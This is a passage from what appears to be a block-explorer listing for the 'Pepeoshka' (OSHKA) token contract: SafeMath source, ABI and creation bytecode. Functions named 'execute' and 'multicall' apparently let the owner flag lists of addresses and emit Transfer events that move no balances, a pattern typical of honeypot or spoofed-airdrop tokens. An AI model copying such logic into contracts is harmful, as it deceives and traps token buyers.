Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"maxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526000600860156101000a81548160ff0219169083151502179055506001600b60006101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055506001600c5565013ca6512000600d556000601260006101000a81548160ff021916908315150217905550348015620000a757600080fd5b5060405162006237380380620062378339818101604052810190620000cd919062000b0d565b806040518060400160405280600981526020017f506570656f73686b6100000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4f53484b4100000000000000000000000000000000000000000000000000000081525081600390816200014b919062000db9565b5080600490816200015d919062000db9565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c1620001b5620004e760201b60201c565b620004ef60201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001ee816001620005b560201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060006014905060008060149050600080620002426200067060201b60201c565b600a62000250919062001030565b66017e9d8602b40062000264919062001081565b90506103e8600a8262000278919062001081565b620002849190620010fb565b6010819055506103e8600a826200029c919062001081565b620002a89190620010fb565b600f819055506103e8600182620002c0919062001081565b620002cc9190620010fb565b6009819055506064600282620002e3919062001081565b620002ef9190620010fb565b600a81905550846015819055508360168190555060165460155462000315919062001133565b60148190555082601881905550816019819055506019546018546200033b919062001133565b60178190555073b30fa23184d080fa7631b9ec13c7f58eb5b00ae0601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003ea3360016200067960201b60201c565b620003fd3060016200067960201b60201c565b6200041261dead60016200067960201b60201c565b62000447601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067960201b60201c565b6200045a336001620005b560201b60201c565b6200046d306001620005b560201b60201c565b6200048261dead6001620005b560201b60201c565b620004b7601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620005b560201b60201c565b620004c8336200073460201b60201c565b620004da3382620007ca60201b60201c565b5050505050505062001363565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620005c56200094260201b60201c565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc92826040516200066491906200118b565b60405180910390a25050565b60006009905090565b620006896200094260201b60201c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200072891906200118b565b60405180910390a25050565b620007446200094260201b60201c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620007b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007ad906200122f565b60405180910390fd5b620007c781620004ef60201b60201c565b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200083c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200083390620012a1565b60405180910390fd5b6200085060008383620009d360201b60201c565b806002600082825462000864919062001133565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008bb919062001133565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009229190620012d4565b60405180910390a36200093e60008383620009d860201b60201c565b5050565b62000952620004e760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000978620009dd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620009d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009c89062001341565b60405180910390fd5b565b505050565b505050565b600080620009f0620009f960201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a7a57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000a9e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ad58262000aa8565b9050919050565b62000ae78162000ac8565b811462000af357600080fd5b50565b60008151905062000b078162000adc565b92915050565b60006020828403121562000b265762000b2562000aa3565b5b600062000b368482850162000af6565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000bc157607f821691505b60208210810362000bd75762000bd662000b79565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c02565b62000c4d868362000c02565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c9a62000c9462000c8e8462000c65565b62000c6f565b62000c65565b9050919050565b6000819050919050565b62000cb68362000c79565b62000cce62000cc58262000ca1565b84845462000c0f565b825550505050565b600090565b62000ce562000cd6565b62000cf281848462000cab565b505050565b5b8181101562000d1a5762000d0e60008262000cdb565b60018101905062000cf8565b5050565b601f82111562000d695762000d338162000bdd565b62000d3e8462000bf2565b8101602085101562000d4e578190505b62000d6662000d5d8562000bf2565b83018262000cf7565b50505b505050565b600082821c905092915050565b600062000d8e6000198460080262000d6e565b1980831691505092915050565b600062000da9838362000d7b565b9150826002028217905092915050565b62000dc48262000b3f565b67ffffffffffffffff81111562000de05762000ddf62000b4a565b5b62000dec825462000ba8565b62000df982828562000d1e565b600060209050601f83116001811462000e31576000841562000e1c578287015190505b62000e28858262000d9b565b86555062000e98565b601f19841662000e418662000bdd565b60005b8281101562000e6b5784890151825560018201915060208501945060208101905062000e44565b8683101562000e8b578489015162000e87601f89168262000d7b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f2e5780860481111562000f065762000f0562000ea0565b5b600185161562000f165780820291505b808102905062000f268562000ecf565b945062000ee6565b94509492505050565b60008262000f4957600190506200101c565b8162000f5957600090506200101c565b816001811462000f72576002811462000f7d5762000fb3565b60019150506200101c565b60ff84111562000f925762000f9162000ea0565b5b8360020a91508482111562000fac5762000fab62000ea0565b5b506200101c565b5060208310610133831016604e8410600b841016171562000fed5782820a90508381111562000fe75762000fe662000ea0565b5b6200101c565b62000ffc848484600162000edc565b9250905081840481111562001016576200101562000ea0565b5b81810290505b9392505050565b600060ff82169050919050565b60006200103d8262000c65565b91506200104a8362001023565b9250620010797fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f37565b905092915050565b60006200108e8262000c65565b91506200109b8362000c65565b9250828202620010ab8162000c65565b91508282048414831517620010c557620010c462000ea0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011088262000c65565b9150620011158362000c65565b925082620011285762001127620010cc565b5b828204905092915050565b6000620011408262000c65565b91506200114d8362000c65565b925082820190508082111562001168576200116762000ea0565b5b92915050565b60008115159050919050565b62001185816200116e565b82525050565b6000602082019050620011a260008301846200117a565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600062001217602683620011a8565b91506200122482620011b9565b604082019050919050565b600060208201905081810360008301526200124a8162001208565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001289601f83620011a8565b9150620012968262001251565b602082019050919050565b60006020820190508181036000830152620012bc816200127a565b9050919050565b620012ce8162000c65565b82525050565b6000602082019050620012eb6000830184620012c3565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062001329602083620011a8565b91506200133682620012f1565b602082019050919050565b600060208201905081810360008301526200135c816200131a565b9050919050565b608051614ea362001394600039600081816122fb0152818161344201528181613523015261354a0152614ea36000f3fe6080604052600436106102605760003560e01c806377b5312c11610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b80639b6b5499116101085780639b6b5499146106f15780639fe640941461071a578063a457c2d714610743578063a4c82a0014610780578063a9059cbb146107ab578063bb85c6d1146107e857610267565b806377b5312c1461061c5780638da5cb5b1461064957806395d89b411461067457806399e5b5c81461069f5780639a7a23d6146106c857610267565b8063313ce567116101dd57806352d65858116101a157806352d65858146105105780635580145f146105395780636cd20f5e1461056257806370a082311461059f578063715018a6146105dc578063730c1888146105f357610267565b8063313ce5671461042657806331f8151114610451578063395093511461047f5780634ada218b146104bc5780634b896a3e146104e757610267565b806323b872dd1161022457806323b872dd1461035357806326ededb814610390578063293230b8146103b95780632c3e486c146103d05780632e82f1a0146103fb57610267565b806306fdde031461026c578063095ea7b3146102975780631111f43f146102d457806318160ddd146102fd578063199ffc721461032857610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e919061369c565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b9919061375c565b610a78565b6040516102cb91906137b7565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190613863565b610a96565b005b34801561030957600080fd5b50610312610b43565b60405161031f91906138d2565b60405180910390f35b34801561033457600080fd5b5061033d610b4d565b60405161034a91906138d2565b60405180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906138ed565b610b53565b60405161038791906137b7565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190613940565b610c4b565b005b3480156103c557600080fd5b506103ce610d28565b005b3480156103dc57600080fd5b506103e5610d95565b6040516103f291906138d2565b60405180910390f35b34801561040757600080fd5b50610410610d9b565b60405161041d91906137b7565b60405180910390f35b34801561043257600080fd5b5061043b610dae565b60405161044891906139bc565b60405180910390f35b34801561045d57600080fd5b50610466610db7565b60405161047694939291906139d7565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a1919061375c565b610df1565b6040516104b391906137b7565b60405180910390f35b3480156104c857600080fd5b506104d1610e9d565b6040516104de91906137b7565b60405180910390f35b3480156104f357600080fd5b5061050e60048036038101906105099190613a1c565b610eb0565b005b34801561051c57600080fd5b5061053760048036038101906105329190613a49565b610f5e565b005b34801561054557600080fd5b50610560600480360381019061055b9190613a1c565b611015565b005b34801561056e57600080fd5b5061058960048036038101906105849190613a89565b6110c3565b60405161059691906137b7565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c19190613a89565b611119565b6040516105d391906138d2565b60405180910390f35b3480156105e857600080fd5b506105f1611161565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190613ab6565b611175565b005b34801561062857600080fd5b50610631611241565b60405161064093929190613b09565b60405180910390f35b34801561065557600080fd5b5061065e611267565b60405161066b9190613b4f565b60405180910390f35b34801561068057600080fd5b50610689611291565b604051610696919061369c565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c19190613a89565b611323565b005b3480156106d457600080fd5b506106ef60048036038101906106ea9190613b6a565b6113eb565b005b3480156106fd57600080fd5b5061071860048036038101906107139190613b6a565b611491565b005b34801561072657600080fd5b50610741600480360381019061073c9190613a49565b611542565b005b34801561074f57600080fd5b5061076a6004803603810190610765919061375c565b6115f9565b60405161077791906137b7565b60405180910390f35b34801561078c57600080fd5b506107956116e4565b6040516107a291906138d2565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd919061375c565b6116ea565b6040516107df91906137b7565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613a89565b611708565b005b34801561081d57600080fd5b5061083860048036038101906108339190613a89565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613baa565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613bfd565b6119a3565b6040516108ae91906138d2565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d99190613a89565b611a2a565b6040516108ed93929190613c3d565b60405180910390f35b34801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613b4f565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a9190613a89565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c74565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cd5565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b6a565b611c9e565b005b6060600380546109f590613d2d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d2d565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b610a9e611f20565b60005b83839050811015610b3d5781601f6000868685818110610ac457610ac3613d5e565b5b9050602002016020810190610ad99190613a89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b3590613dbc565b915050610aa1565b50505050565b6000600254905090565b600c5481565b6000610b60848484611f9e565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bab611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290613e76565b60405180910390fd5b610c3f85610c37611d4f565b858403611d57565b60019150509392505050565b610c53611f20565b60005b83839050811015610d2257838382818110610c7457610c73613d5e565b5b9050602002016020810190610c899190613a89565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d0791906138d2565b60405180910390a38080610d1a90613dbc565b915050610c56565b50505050565b610d30611f20565b6001601260006101000a81548160ff0219169083151502179055506000600b60006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b600b60029054906101000a900460ff1681565b60006009905090565b600080600080600b60009054906101000a900460ff169350600b60019054906101000a900460ff169250600f549150601054905090919293565b6000610e93610dfe611d4f565b848460016000610e0c611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8e9190613e96565b611d57565b6001905092915050565b601260009054906101000a900460ff1681565b610eb8611f20565b6005811015610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390613f3c565b60405180910390fd5b6103e8610f07610b43565b82610f129190613f5c565b610f1c9190613fcd565b600f819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610f5391906138d2565b60405180910390a150565b610f66611f20565b8160158190555080601681905550601654601554610f849190613e96565b60148190555060646014541115610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc790614070565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e60145460155460165460405161100993929190614090565b60405180910390a15050565b61101d611f20565b6002811015611061576040517f08c379a0000000000000000000000000000000000